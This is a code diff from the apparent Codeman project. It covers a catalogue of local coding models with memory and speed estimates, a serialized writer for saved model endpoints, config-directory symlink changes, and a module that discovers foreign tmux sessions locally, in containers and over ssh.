if (repeatedRank >= 0) issue(['models', repeatedRank, 'rank'], 'model ranks must be unique');
const harnessClis = catalog.harnesses.map((h) => h.cli);
const repeatedCli = firstRepeat(harnessClis);
if (repeatedCli >= 0) issue(['harnesses', repeatedCli, 'cli'], 'a harness may be listed only once');
const repeatedHarnessRank = firstRepeat(catalog.harnesses.map((h) => h.rank));
if (repeatedHarnessRank >= 0) issue(['harnesses', repeatedHarnessRank, 'rank'], 'harness ranks must be unique');
catalog.models.forEach((model, m) => {
for (let i = 1; i < model.contexts.length; i++) {
if (model.contexts[i] >= model.contexts[i - 1]) {
issue(['models', m, 'contexts', i], 'contexts must be listed largest first, without repeats');
break;
}
}
// An entry for a harness the catalogue does not list could never match a candidate: a typo.
model.tested.forEach((entry, t) => {
if (!harnessClis.includes(entry.cli)) {
issue(['models', m, 'tested', t, 'cli'], 'a tested entry must name a harness of this catalogue');
}
});
});
// Most specific first ('M4 Max' before 'M4'): a row whose text sits inside a LATER row's text
// is the less specific of the two, so it is in the wrong place. A repeated match is the same
// mistake.
for (let later = 1; later < catalog.chips.length; later++) {
const laterMatch = catalog.chips[later].match.toLowerCase();
const shadowing = catalog.chips.slice(0, later).find((row) => laterMatch.includes(row.match.toLowerCase()));
if (shadowing) {
issue(
['chips', later, 'match'],
`chips must be listed most specific first: '${shadowing.match}' comes before '${catalog.chips[later].match}'`
);
break;
}
}
});
/**
* The memory figures measured for `qwen3.6:35b-a3b` on an Apple M5 Pro with 48 GB (2026-11-06,
* the MLX runner), in decimal bytes. Only that row carries them; see the file header (MEMORY)
* for what they do not cover.
*/
const MEASURED_MEMORY = {
/** 36,000 to 38,000 bytes stayed held per token of context after a prompt of 89,000 and one of 167,000 tokens. */
heldBytesPerToken: 37_000,
/** The runner held 2.5 to 3 GB beside the weights. */
overheadBytes: 3_000_000_000,
/** While a long prompt was processed the peak stood about 5 GB above what stayed held. */
peakExtraBytes: 5_000_000_000,
} as const;
/** The llama.cpp runner's own buffers, compute buffers included (file header, MEMORY). */
const LLAMACPP_RUNNER_BYTES = 1_000_000_000;
/** The host prompt cache llama-server may keep: `LLAMA_ARG_CACHE_RAM`, 1024 MiB (`RUNTIME_HOST_PROMPT_CACHE_MIB`). */
const LLAMACPP_PROMPT_CACHE_BYTES = 1024 * 1024 * 1024;
/** The context checkpoints llama-server may keep: `LLAMA_ARG_CTX_CHECKPOINTS`, 8 (`RUNTIME_CTX_CHECKPOINTS`). */
const LLAMACPP_CTX_CHECKPOINTS = 8;
/** The tokens the runtime drafts per step for an MTP model whose tag sets no `draft_num_predict`, 4: so many rollback states. */
const LLAMACPP_DEFAULT_DRAFT_TOKENS = 4;
/** The prefix snapshots the MLX runner may keep: `maxPagedOutBytes`, 8 GiB. */
const MLX_PREFIX_CACHE_BYTES = 8 * 1024 * 1024 * 1024;
/**
* The catalogue that ships with Codeman. Never read directly outside this file and its test:
* callers use `getLocalModelCatalog()`, which validates it first.
*/
export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = {
schema: 1,
updated: '2026-11-08',
// The oldest macOS the model runtime supports.
minMacosMajor: 14,
// Ordered by rank. The higher rank wins among models that fit and whose speed is graded
// alike (recommend.ts ranks the speed grade first). See the file header for the models
// that are left out and why.
models: [
{
// Small Macs (16 to 32 GB, `limited`): the base model of the row below.
id: 'qwen3.5:9b-q4_k_m',
label: 'Qwen3.5 9B',
license: 'Apache-2.0',
paramsB: 9,
runner: 'llamacpp',
bytes: 6_550_825_550,
// 8 attention layers x 4 K/V heads x 256 x 2 x 34/32.
heldBytesPerToken: 17_408,
// 24 linear-attention layers hold 52,690,944 bytes of f32 state: once live, and once in
// each context checkpoint.
overheadBytes: 52_690_944 * (1 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [131072, 65536],
rank: 1,
// Measured: 37.1 tokens per second on 400 GB/s (this Q4_K_M build, llama.cpp).
speedPer100Gbps: 9.3,
tested: [],
},
{
// Small Macs (16 to 32 GB, `limited`). MiMo-V2.6-Distill-Qwen-9B, a fine-tune of
// Qwen3.5-9B for code and agents: SWE-bench Verified 61.1 and SWE-bench Pro 44.6,
// against 60.0 and 32.0 for its base (Xiaomi's card). Requires exactly the pinned
// runtime, 0.40.15.
id: 'mimo-v2.6:9b-q4_k_m',
label: 'MiMo V2.6 9B',
license: 'MIT',
paramsB: 9,
runner: 'llamacpp',
bytes: 6_550_811_033,
// The architecture and the quantization of the row above, so its figures.
heldBytesPerToken: 17_408,
overheadBytes: 52_690_944 * (1 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [131072, 65536],
rank: 2,
// Not measured: the 9.3 of the row above, the same architecture and file size.
speedPer100Gbps: 9.3,
tested: [],
},
{
// Cohere's model for agentic software engineering, 3 billion parameters active:
// SWE-bench Verified 67.6 (vendor). Its card asks OpenCode for interleaved reasoning,
// which Codeman's OpenCode settings do not set.
id: 'north-mini-code-1.0:q4_k_m',
label: 'North Mini Code 1.0',
license: 'Apache-2.0',
paramsB: 30,
runner: 'llamacpp',
bytes: 18_593_967_008,
// 13 full-attention layers x 4 K/V heads x 128 x 2 x 34/32.
heldBytesPerToken: 14_144,
// 36 sliding-window layers: (4,096 + 512) cells x 4 x 128 x 2 x 34/32 = 180,486,144, live
// and in each context checkpoint.
overheadBytes: 180_486_144 * (1 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [262144, 131072, 65536],
rank: 3,
// Not measured: the 13.6 measured for Qwen3.6 35B-A3B on llama.cpp, which has the same
// 3 billion active parameters.
speedPer100Gbps: 13.6,
tested: [],
},
{
// Macs of 36 GB on a slower chip: the model of the tested pair, as a GGUF build whose
// memory does not grow after it loaded. With its multi-token-prediction layer.
id: 'qwen3.6:35b-a3b-mtp-q4_k_m',
label: 'Qwen3.6 35B-A3B (GGUF)',
license: 'Apache-2.0',
paramsB: 35,
runner: 'llamacpp',
bytes: 22_621_314_381,
// 10 attention layers x 2 K/V heads x 256 x 2 x 34/32 = 10,880, + the prediction layer in
// f16: 2 x 256 x 2 x 2 = 2,048.
heldBytesPerToken: 12_928,
// 30 linear-attention layers hold 65,863,680 bytes of f32 state: live, in the 2 rollback
// copies of prediction (this tag drafts 2 tokens, `draft_num_predict` 2), and in each
// context checkpoint.
overheadBytes:
65_863_680 * (1 + 2 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [262144, 131072, 65536],
rank: 4,
// Measured: 54.5 tokens per second on 400 GB/s (llama.cpp, without prediction).
speedPer100Gbps: 13.6,
tested: [],
},
{
// 48 GB: the tested pair. SWE-bench Verified 73.4, SWE-bench Pro 49.5 (Qwen's card).
id: 'qwen3.6:35b-a3b',
label: 'Qwen3.6 35B-A3B',
license: 'Apache-2.0',
paramsB: 35,
// The plain tag is a manifest list; a Mac takes its MLX child.
runner: 'mlx',
// What a Mac really downloads: the MLX build, 2% above the GGUF build of the row above.
bytes: 23_105_798_956,
...MEASURED_MEMORY,
figures: 'measured',
contexts: [131072, 65536],
rank: 5,
// Measured: 67.8 tokens per second on 400 GB/s with MLX. The one Mac we tested ran it at
// 67.7 on 307 GB/s, so on other chips the estimate is on the low side.
speedPer100Gbps: 16.9,
// Run by us with OpenCode on the MacBook Pro (Mac17,13): a four-step task with tool calls.
tested: [{ chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 }],
},
{
// Large Macs that want 8-bit weights: the row below in Q8_0, half as fast.
id: 'qwen3.8:27b-q8_0',
label: 'Qwen3.8 27B (Q8)',
license: 'Apache-2.0',
paramsB: 27.8,
runner: 'llamacpp',
bytes: 29_978_242_050,
// The architecture of the row below, prediction layer included (its GGUF has one), and the
// runtime's 4 drafted tokens (the tag sets none), so its figures.
heldBytesPerToken: 38_912,
overheadBytes:
156_893_184 * (1 + LLAMACPP_DEFAULT_DRAFT_TOKENS + LLAMACPP_CTX_CHECKPOINTS) +
LLAMACPP_RUNNER_BYTES +
LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [262144, 131072, 65536],
rank: 6,
// Not measured: the 2.95 of the row below scaled by file size.
speedPer100Gbps: 1.7,
tested: [],
},
{
// 36 to 96 GB on a fast chip: the strongest model of this size. Terminal-Bench 2.1 73.0,
// SWE-bench Pro 61.7 (Qwen's card). Dense, so it is slow on a Pro chip.
id: 'qwen3.8:27b-mtp-q4_k_m',
label: 'Qwen3.8 27B',
license: 'Apache-2.0',
paramsB: 27.8,
runner: 'llamacpp',
bytes: 17_741_872_154,
// 16 attention layers x 4 K/V heads x 256 x 2 x 34/32 = 34,816, + the prediction layer in
// f16: 4 x 256 x 2 x 2 = 4,096.
heldBytesPerToken: 38_912,
// 48 linear-attention layers hold 156,893,184 bytes of f32 state: live, in the 4 rollback
// copies of prediction (`draft_num_predict` 4), and in each context checkpoint.
overheadBytes:
156_893_184 * (1 + 4 + LLAMACPP_CTX_CHECKPOINTS) + LLAMACPP_RUNNER_BYTES + LLAMACPP_PROMPT_CACHE_BYTES,
peakExtraBytes: 0,
figures: 'estimated',
contexts: [262144, 131072, 65536],
rank: 7,
// Measured: 11.8 tokens per second on 400 GB/s (llama.cpp, Q4_K_M, without prediction).
// This build predicts several tokens at a time, so it is faster than this figure says.
speedPer100Gbps: 2.95,
tested: [],
},
{
// 128 GB and more. A fine-tune of Qwen3.5-122B-A10B, 10 billion parameters active:
// Terminal-Bench 2.1 81.2, SWE-bench Verified 84.5, SWE-bench Pro 76.9 (Ornith's card).
id: 'ornith-1.5:122b',
label: 'Ornith 1.5 122B-A10B',
license: 'MIT',
paramsB: 122,
// The plain tag is a manifest list; a Mac takes its MLX child (with a renderer and a
// tool parser, which the GGUF builds of this family lack).
runner: 'mlx',
bytes: 73_388_069_552,
// 12 attention layers x 2 K/V heads x 256 x 2 x 2 bytes = 24,576, + a 153,649,152-byte
// recurrent snapshot per 8,192 tokens = 18,756: 43,332, x 37,000 / 28,340.
heldBytesPerToken: 56_574,
overheadBytes: MEASURED_MEMORY.overheadBytes + MLX_PREFIX_CACHE_BYTES,
peakExtraBytes: MEASURED_MEMORY.peakExtraBytes,
figures: 'estimated',
contexts: [262144, 131072],
rank: 8,
// Not measured: the 16.9 of Qwen3.6 35B-A3B on MLX x 3/10, its active parameters
// against these, rounded down.
speedPer100Gbps: 5,
tested: [],
},
],
// The higher rank wins when a model can run with more than one harness.
harnesses: [
{ cli: 'opencode', minContext: 65536, rank: 3 },
// Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes.
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
// Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified.
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
],
// Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source
// table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546,
// M5 Max 460 or 614) the LOWER one stands, so a speed computed from it is a floor.
chips: [
{ match: 'M5 Ultra', gbps: 1228 },
{ match: 'M3 Ultra', gbps: 800 },
{ match: 'M2 Ultra', gbps: 800 },
{ match: 'M1 Ultra', gbps: 800 },
{ match: 'M5 Max', gbps: 460 },
{ match: 'M4 Max', gbps: 410 },
{ match: 'M3 Max', gbps: 300 },
{ match: 'M2 Max', gbps: 400 },
{ match: 'M1 Max', gbps: 400 },
{ match: 'M5 Pro', gbps: 307 },
{ match: 'M4 Pro', gbps: 273 },
{ match: 'M3 Pro', gbps: 150 },
{ match: 'M2 Pro', gbps: 200 },
{ match: 'M1 Pro', gbps: 200 },
{ match: 'M5', gbps: 154 },
{ match: 'M4', gbps: 120 },
{ match: 'M3', gbps: 100 },
{ match: 'M2', gbps: 100 },
{ match: 'M1', gbps: 68 },
],
};
let validated: LocalModelCatalog | undefined;
/**
* The catalogue in force: the stock constant, validated once on first use. Callers go through
* this function, so a later stage can change where the catalogue comes from without touching
* them. Throws when the constant breaks its own schema, which the catalogue test rules out.
*/
export function getLocalModelCatalog(): LocalModelCatalog {
validated ??= LocalModelCatalogSchema.parse(STOCK_LOCAL_MODEL_CATALOG);
return validated;
}
+124
View File
@@ -0,0 +1,124 @@
/**
* @fileoverview The serialized writer of `custom-model-hosts.json`, the store of the saved
* custom model endpoints (src/custom-model-hosts.ts).
*
* Why it exists: `writeCustomModelHosts()` writes through ONE temp file name per process and
* has no queue, and `readCustomModelHosts()` reads a file that does not parse as an empty
* list. Two overlapping writers (an endpoint route and the 5-minute discovery sweep) can
* leave one body over the tail of a longer one, and the next writer then saves a file that
* holds only its own record: every other endpoint and its API key is gone. The same fault
* `mutateSettingsFile()` ended for `settings.json`.
*
* The shape of `mutateSettingsFile()` (src/web/settings-writer.ts):
* - Serialized: mutations run one at a time on one promise chain. The check a route makes
* (the id is free, the record still exists) runs INSIDE `fn`, in the same step as the write.
* - Atomic: each write goes to a temp file with a random name beside the target and is
* renamed over it. The file is mode 0600 (it holds API keys).
* - Refuses a file it must not trust: only a missing or empty file starts from an empty
* list. A file that cannot be read, does not parse or is not an array is left alone and
* the write rejects with `CustomModelHostsWriteRefusedError`. The message never repeats
* the parser's own text, which can quote an API key.
*
* EVERY writer goes through it: the four endpoint routes of
* src/web/routes/custom-model-routes.ts (create, update, delete, discover-models), the
* discovery sweep `refreshAllCustomModelHosts()`, and the local model's connect step. The one
* direct writer left is config-backup restore, which must work on a file that does not parse.
*/
import { randomUUID } from 'node:crypto';
import fs from 'node:fs/promises';
import { dirname } from 'node:path';
import { getDataDir } from './config/instance.js';
import { customModelHostsPath, type CustomModelHost } from './custom-model-hosts.js';
import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from './types.js';
/** A write refused because the existing `custom-model-hosts.json` must not be overwritten. The message is user-facing. */
export class CustomModelHostsWriteRefusedError extends Error {
constructor(message: string) {
super(message);
this.name = 'CustomModelHostsWriteRefusedError';
}
}
/** The list a write starts from. Only a missing or empty file is an empty list; anything else that is not an array is refused. */
async function readHostsForWrite(path: string): Promise<CustomModelHost[]> {
let raw: string;
try {
raw = await fs.readFile(path, 'utf-8');
} catch (err) {
if ((err as NodeJS.ErrnoException).code === 'ENOENT') return [];
throw new CustomModelHostsWriteRefusedError(
`Cannot read ${path} (${(err as Error).message}), so this change was not saved.`
);
}
// An empty file holds no endpoint to lose.
if (raw.trim() === '') return [];
let parsed: unknown;
try {
parsed = JSON.parse(raw);
} catch {
parsed = undefined;
}
if (!Array.isArray(parsed)) {
throw new CustomModelHostsWriteRefusedError(
`${path} is not a valid JSON list, so this change was not saved (saving would have replaced every other model endpoint in it, with its API key). Fix or delete the file, or restore it from a config backup, then try again.`
);
}
return parsed as CustomModelHost[];
}
async function writeHostsFile(path: string, hosts: CustomModelHost[]): Promise<void> {
// Through a symlink: the rename lands on the real file.
const target = await fs.realpath(path).catch(() => path);
await fs.mkdir(dirname(target), { recursive: true });
const tmp = `${target}.${process.pid}.${randomUUID()}.tmp`;
try {
await fs.writeFile(tmp, JSON.stringify(hosts, null, 2), { mode: 0o600 });
await fs.rename(tmp, target);
} catch (err) {
await fs.rm(tmp, { force: true }).catch(() => {});
throw err;
}
}
let mutationChain: Promise<unknown> = Promise.resolve();
/** What a mutation returns: the list to write (absent: write nothing) and what the caller gets back. */
export interface CustomModelHostsMutation<T> {
/** The whole list to store. Absent: the file is left as it is. */
hosts?: CustomModelHost[];
/** Handed back to the caller of `mutateCustomModelHosts()`. */
result: T;
}
/**
* Runs one change to the endpoint store. `fn` receives the current list (a copy it may change)
* and returns what to write and what to hand back. Resolves with `result`. A refused or failed
* mutation rejects its own caller only; the chain keeps going.
*
* `configDir` is the folder of the file, as for `readCustomModelHosts()`. Default: the data dir.
*/
export function mutateCustomModelHosts<T>(
fn: (hosts: CustomModelHost[]) => CustomModelHostsMutation<T>,
configDir?: string
): Promise<T> {
const run = mutationChain.then(async () => {
// Resolved inside the chain: the data dir is read when the mutation runs, like the file.
const path = customModelHostsPath(configDir ?? getDataDir());
const current = await readHostsForWrite(path).catch((err: unknown) => {
console.warn(`[custom-model] write refused: ${getErrorMessage(err)}`);
throw err;
});
const mutation = fn(current);
if (mutation.hosts) await writeHostsFile(path, mutation.hosts);
return mutation.result;
});
mutationChain = run.catch(() => {});
return run;
}
/** A refused write answers 409 CONFLICT with the fix; any other failure stays OPERATION_FAILED. Like `settingsWriteErrorResponse()`. */
export function customModelHostsWriteErrorResponse(err: unknown): ApiResponse<never> {
if (err instanceof CustomModelHostsWriteRefusedError) return createErrorResponse(ApiErrorCode.CONFLICT, err.message);
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
}
+36 -19
View File
@@ -135,22 +135,30 @@ function realClaudeConfigDir(): string {
}
/**
* Symlinks `<isolatedDir>/projects` back to the real, shared `~/.claude/projects`, so an
* isolated `CLAUDE_CONFIG_DIR` (used to keep an injected API key away from a stored OAuth
* session — see `configDirVar` on customModelInjection) doesn't also blind the response
* viewer, subagent windows, and Read My Mind for that session (docs/wiki/Agent-CLIs.md).
* Best-effort: a platform that refuses symlinks (unprivileged Windows without a junction
* fallback working, e.g.) just keeps the pre-existing documented side effect instead of
* failing the whole custom-model apply over a nice-to-have.
* Symlinks `<isolatedDir>/projects` back to the session's own config dir when it set one,
* else the real, shared `~/.claude/projects`, so an isolated `CLAUDE_CONFIG_DIR` (used to
* keep an injected API key away from a stored OAuth session, see `configDirVar` on
* customModelInjection) doesn't also blind the response viewer, subagent windows, and Read
* My Mind for that session (docs/wiki/Agent-CLIs.md). Best-effort: a platform that refuses
* symlinks (unprivileged Windows without a junction fallback working, e.g.) just keeps the
* pre-existing documented side effect instead of failing the whole custom-model apply over
* a nice-to-have.
*
* The own dir matters beyond that: the resume pin looks in `<isolatedDir>/projects`, so the
* server's tree would hide the conversation on apply and keep the endpoint's transcript out
* of the own dir's sight on clear. Same absolute-only and no-self-link rules as
* `linkRealHomeEntries()`, and a relative value of the server's own gets no link, since
* joining it would create `projects` under the server's working directory.
*
* ⚠️ The link target is a user-chosen path and `linkRealHomeEntry()` probes and creates it
* synchronously: every caller of `applyCustomModelInjection` passes a lookup that went
* through `guardSessionConfigDirHome()` first (rule #516).
*/
function linkSharedProjectsDir(isolatedDir: string): void {
const link = join(isolatedDir, 'projects');
if (existsSync(link)) return; // already linked (idempotent re-apply) or real dir wrote one
try {
symlinkSync(join(realClaudeConfigDir(), 'projects'), link, platform() === 'win32' ? 'junction' : 'dir');
} catch {
// best-effort only — response viewer/subagent windows go blind for this session instead
}
function linkSharedProjectsDir(isolatedDir: string, sessionConfigDir?: string): void {
const own = sessionConfigDir?.trim();
const configDir = own && own !== isolatedDir && isAbsolute(own) ? own : realClaudeConfigDir();
if (!isAbsolute(configDir)) return;
linkRealHomeEntry(join(configDir, 'projects'), join(isolatedDir, 'projects'), true);
}
/**
@@ -301,6 +309,8 @@ export interface AppliedCustomModel {
envKeys: string[];
configDir?: string;
launchModel?: string;
/** The env key among `envKeys` that moves the CLI's home, see `CustomModelBookkeeping`. */
homeEnvVar?: string;
}
/**
@@ -327,8 +337,8 @@ export function applyCustomModelInjection(
workingDir?: string,
/**
* Reads one env var from the SESSION's own env overrides (single-key on purpose: the
* map carries credentials). Only the `configDir` kind uses it, to resolve the CLI's real
* home for `linkFromRealHome` from the session's value before the server's.
* map carries credentials). Resolves the CLI's real home from the session's value before
* the server's: `linkFromRealHome` for the `configDir` kind, `projects` for `configDirVar`.
*/
sessionEnvLookup?: (envVar: string) => string | undefined
): AppliedCustomModel | undefined {
@@ -345,7 +355,7 @@ export function applyCustomModelInjection(
if (injection.configDirVar) {
configDir = customModelConfigDir(sessionId);
mkdirSync(configDir, { recursive: true, mode: 0o700 });
linkSharedProjectsDir(configDir);
linkSharedProjectsDir(configDir, sessionEnvLookup?.(injection.configDirVar));
if (injection.apiKeyTrustFile && injection.apiKey) {
seedApiKeyTrustFile(configDir, injection.apiKeyTrustFile, injection.apiKey);
}
@@ -360,9 +370,16 @@ export function applyCustomModelInjection(
envKeys: Object.keys(envOverrides),
configDir,
launchModel: injection.launchModel,
homeEnvVar: injection.configDirVar,
};
}
const configDir = customModelConfigDir(sessionId);
const envOverrides = applyConfigDirInjection(configDir, injection, sessionEnvLookup?.(injection.dirEnvVar));
return { envOverrides, envKeys: Object.keys(envOverrides), configDir, launchModel: injection.launchModel };
return {
envOverrides,
envKeys: Object.keys(envOverrides),
configDir,
launchModel: injection.launchModel,
homeEnvVar: injection.dirEnvVar,
};
}
+5 -5
View File
@@ -392,7 +392,7 @@ export function isAdoptedContainer(docker: Pick<SessionDocker, 'owned'>): boolea
/**
* POSIX single-quote shell-escaping (end-quote, escaped-quote, restart-quote).
* Mirror of the helper in remote-hosts.ts / tmux-manager.ts. Every dynamic value
* interpolated into the outer `bash -c "..."` launch layer is escaped through
* interpolated into the `bash -c` launch layer is escaped through
* this so a path with spaces stays a single shell token. Operator-entered fields
* are ALSO schema-rejected for `$`/backtick (NO_SHELL_META) as defense in depth.
*/
@@ -1014,7 +1014,7 @@ export function resolveDockerCredentialArtifacts(
* string; argv arrays must NOT carry literal quotes (mirror of docker-export's
* dockerArgv).
*/
function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
export function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
const argv: string[] = [docker.engine === 'podman' ? 'podman' : 'docker'];
if (docker.context) argv.push('--context', docker.context);
if (docker.daemonHost) argv.push('-H', docker.daemonHost);
@@ -1682,9 +1682,9 @@ export async function probeDockerCliVersion(
if (IS_TEST_MODE) return undefined;
// ⚠️ The MODE NAME IS NOT ALWAYS THE BINARY NAME — `antigravity` runs `agy`. This used
// to pass the mode straight through as the command, which would have probed a binary that
// does not exist. Only claude reaches this today (it is the one CLI with a version gate),
// so nothing was actually broken, but the registry is what makes it correct for the next
// CLI that needs a version.
// does not exist. Claude and codex reach this today (the CLIs with a version gate), and
// both binaries match their mode, so nothing was actually broken, but the registry is what
// makes it correct for the next CLI that needs a version.
const bin = getCli(mode)?.discovery.binaries[0];
if (!bin) return undefined; // `shell` has no binary of its own
const argv = dockerEngineArgv(docker);
+455
View File
@@ -0,0 +1,455 @@
/**
* @fileoverview Runs the foreign-tmux probe at the three locations Codeman
* already knows how to reach: this host, inside a container, and across ssh.
*
* All the judgement lives in `foreign-tmux.ts` (pure). This module is only
* transport + caching + the promise that it never throws.
*
* ## Cost policy
*
* The home screen shows LOCAL results automatically, so a local scan runs on a
* TTL cache: N browser tabs polling every few seconds still trigger at most one
* scan per `FOREIGN_CACHE_TTL_MS`. Docker and remote are ON DEMAND only:
* opening the home page must never fan out one ssh connection per saved host.
*
* ## ⚠️ The probe must not cross an extra shell
*
* The script contains `$TMUX_TMPDIR` and `$(id -u)`, which the INNER shell has to
* expand. Local and docker therefore spawn with an argv array, where no outer
* shell exists to eat them first. Remote is the exception: the ssh
* command line is a string like every other ssh call in this codebase, so the
* script is wrapped in SINGLE quotes there, which is exactly why
* `buildForeignProbeScript()` may not contain one.
*
* This was measured, not reasoned: running the probe through `execSync` (which
* spawns `sh -c`) expanded `$TMUX_TMPDIR` and `$U` in the OUTER shell, leaving the
* inner loop iterating over the literal `/tmux-/*` and reporting zero sessions on
* a machine that had three.
*
* ## A probe that goes wrong still answers
*
* All three transports go through `runForeignProbe`, which never rejects and hands
* back what it read. A timeout has to reach the whole process tree, not just the
* `sh` on top (the same rule as `runFetch` in git-fetch.ts): signalling only `sh`
* left its tmux child stuck on a stopped server, one more per scan, for as long as
* the home screen stayed open. And a scan cut short keeps the rows it already has,
* since one bad server must not empty the list of a machine with good ones.
*
* @module foreign-tmux-discovery
*/
import { spawn, type ChildProcess } from 'node:child_process';
import {
buildForeignProbeScript,
classifyForeignPaneMode,
createForeignSignatureMatcher,
foreignRemoteShellCommand,
foreignSessionId,
isAdoptableSessionName,
isAdoptableSocketPath,
isCodemanOwnedPane,
parseForeignProbeOutput,
} from './foreign-tmux.js';
import { dockerEngineArgv, readDockerCases, readDockerHosts } from './docker-hosts.js';
import { buildSshConnectionArgs, readRemoteHosts, remoteSshTarget, shellescape } from './remote-hosts.js';
import { runWithRemoteSshLimit } from './remote-ssh-limiter.js';
import { resolveTmuxSocketName, getDataDir } from './config/instance.js';
import {
FOREIGN_CACHE_TTL_MS,
FOREIGN_PROBE_KILL_GRACE_MS,
FOREIGN_PROBE_MAX_BYTES,
FOREIGN_PROBE_TIMEOUT_MS,
} from './config/foreign-tmux.js';
import type { ForeignDiscoveryResult, ForeignTmuxSession } from './types/foreign-tmux.js';
import type { DockerCase, DockerHost, RemoteHost, SessionDocker } from './types/session.js';
const IS_TEST_MODE = process.env.VITEST === 'true' || process.env.NODE_ENV === 'test';
/** What one probe produced, however it ended. */
export interface ForeignProbeRun {
/** Everything read before it finished or was stopped. */
stdout: string;
/** False when it timed out, flooded, exited non-zero or could not start. */
ok: boolean;
}
/**
* Run one probe in its own process group. Never rejects (see @fileoverview).
*
* The caller is answered AT the deadline, while the group is still dying.
*/
export function runForeignProbe(
argv: readonly string[],
opts: { timeoutMs?: number; maxBytes?: number } = {}
): Promise<ForeignProbeRun> {
const { timeoutMs = FOREIGN_PROBE_TIMEOUT_MS, maxBytes = FOREIGN_PROBE_MAX_BYTES } = opts;
return new Promise((resolve) => {
const [file, ...args] = argv;
const chunks: Buffer[] = [];
let bytes = 0;
let settled = false;
let child: ChildProcess | undefined;
let escalation: NodeJS.Timeout | undefined;
const finish = (ok: boolean) => {
if (settled) return;
settled = true;
clearTimeout(deadline);
resolve({ stdout: Buffer.concat(chunks).toString('utf-8'), ok });
};
const signalGroup = (signal: NodeJS.Signals) => {
try {
if (child?.pid) process.kill(-child.pid, signal);
} catch {
/* already gone */
}
};
const stop = () => {
signalGroup('SIGTERM');
escalation = setTimeout(() => signalGroup('SIGKILL'), FOREIGN_PROBE_KILL_GRACE_MS);
escalation.unref();
// ⚠️ Let go of the pipe by hand. A stopped tmux server can hold it open with
// everything in this group dead (see foreign-tmux.ts), so waiting for its EOF
// would keep one handle per scan until that server is resumed.
child?.stdout?.destroy();
finish(false);
};
const deadline = setTimeout(stop, timeoutMs);
try {
child = spawn(file ?? '', args, { stdio: ['ignore', 'pipe', 'ignore'], detached: true });
} catch {
finish(false);
return;
}
child.stdout?.on('data', (chunk: Buffer) => {
if (settled) return;
chunks.push(chunk.subarray(0, Math.max(0, maxBytes - bytes)));
bytes += chunk.length;
if (bytes > maxBytes) stop();
});
child.on('error', () => finish(false));
child.on('close', (code) => {
// The group is gone, so a late SIGKILL could only reach whoever reused its id.
clearTimeout(escalation);
finish(code === 0);
});
});
}
/** The note for a probe that ended badly. Rows already read stay, so say which case this is. */
function probeFailureNote(where: string, run: ForeignProbeRun, nothing: string): string {
return run.stdout ? `${where}: the scan did not finish, this list may be incomplete` : `${where}: ${nothing}`;
}
/**
* Turn one probe's stdout into candidates. Shared by all three transports, so a
* container's sessions and the host's are classified by identical rules.
*
* `where` opens every note this scan writes (`local`, `docker <name>`, `remote
* <label>`). The browser tells the two kinds apart by it: a local note is re-read on
* every poll, a container or host note only by the next explicit scan.
*/
export function candidatesFrom(
stdout: string,
location: ForeignTmuxSession['location'],
hostKey: string,
extra: Pick<ForeignTmuxSession, 'hostId' | 'hostLabel' | 'containerName'>,
where: string,
notes: string[]
): ForeignTmuxSession[] {
const probe = parseForeignProbeOutput(stdout);
const match = createForeignSignatureMatcher();
const ownSocket = resolveTmuxSocketName();
const out: ForeignTmuxSession[] = [];
const seen = new Set<string>();
let unsafe = 0;
for (const pane of probe.panes) {
if (isCodemanOwnedPane(pane, ownSocket)) continue;
// ⚠️ THE security gate, and it lives here rather than at the adopt endpoint
// on purpose: a name that cannot cross the launch chain safely never gets an
// id, so there is nothing for a caller to send. Adoption re-resolves through
// this same function, which makes the endpoint fail closed for free.
// See `isAdoptableSessionName` for the injection this prevents.
if (!isAdoptableSessionName(pane.sessionName) || !isAdoptableSocketPath(pane.socketPath)) {
unsafe += 1;
continue;
}
// One row per SESSION, not per pane: the first pane is the one we would land
// on, and a multi-pane session is still a single thing to adopt.
// \u0000 as an ESCAPE, never the literal byte: a raw NUL in the source makes git
// treat this whole file as binary (no diff, no review), and the allowlists above
// already guarantee neither half can contain one.
const key = `${pane.socketPath}\u0000${pane.sessionName}`;
if (seen.has(key)) continue;
seen.add(key);
const classified = classifyForeignPaneMode(pane, probe, match);
out.push({
id: foreignSessionId(location, hostKey, pane.socketPath, pane.sessionName),
location,
...extra,
socketPath: pane.socketPath,
sessionName: pane.sessionName,
windows: pane.windows,
attached: pane.sessionAttached,
createdAt: pane.sessionCreated * 1000,
mode: classified.mode,
command: classified.command,
workingDir: pane.paneCurrentPath,
});
}
if (unsafe) {
notes.push(
`${where}: ${unsafe} session(s) skipped, the tmux session name or socket path is one Codeman cannot pass safely to a shell or to tmux`
);
}
// Another Codeman's server is not a session this list would ever have shown.
const hung = probe.hungSockets.filter(
(socketPath) => !isCodemanOwnedPane({ socketPath, sessionName: '' }, ownSocket)
);
if (hung.length) {
notes.push(`${where}: ${hung.length} tmux server(s) did not answer, sessions on them are not listed`);
}
return out;
}
// ===========================================================================
// Local
